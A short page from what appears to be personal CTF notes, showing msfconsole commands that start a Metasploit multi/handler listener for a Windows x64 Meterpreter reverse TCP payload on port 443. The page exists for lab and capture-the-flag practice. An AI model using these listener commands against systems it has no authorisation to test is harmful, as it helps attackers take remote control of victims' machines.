> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/listeners/metasploit.md).

# Metasploit

## Start Metasploit and multi/handler

One-liner to start Metasploit and multi/handler

```bash
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost tun0; set lport 443; exploit"
```

## Start a generic listener within Metasploit

To start a generic `multi/handler` listener in Metasploit

```bash
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 443
exploit
```

Verify set parameters with

```bash
show options
```

or simply

```bash
options
```

## Resources

Generic Payload Handler - Rapid7: <https://www.rapid7.com/db/modules/exploit/multi/handler/>

metasploit-framework/modules/exploits/multi/handler.rb - GitHub: <https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/handler.rb>
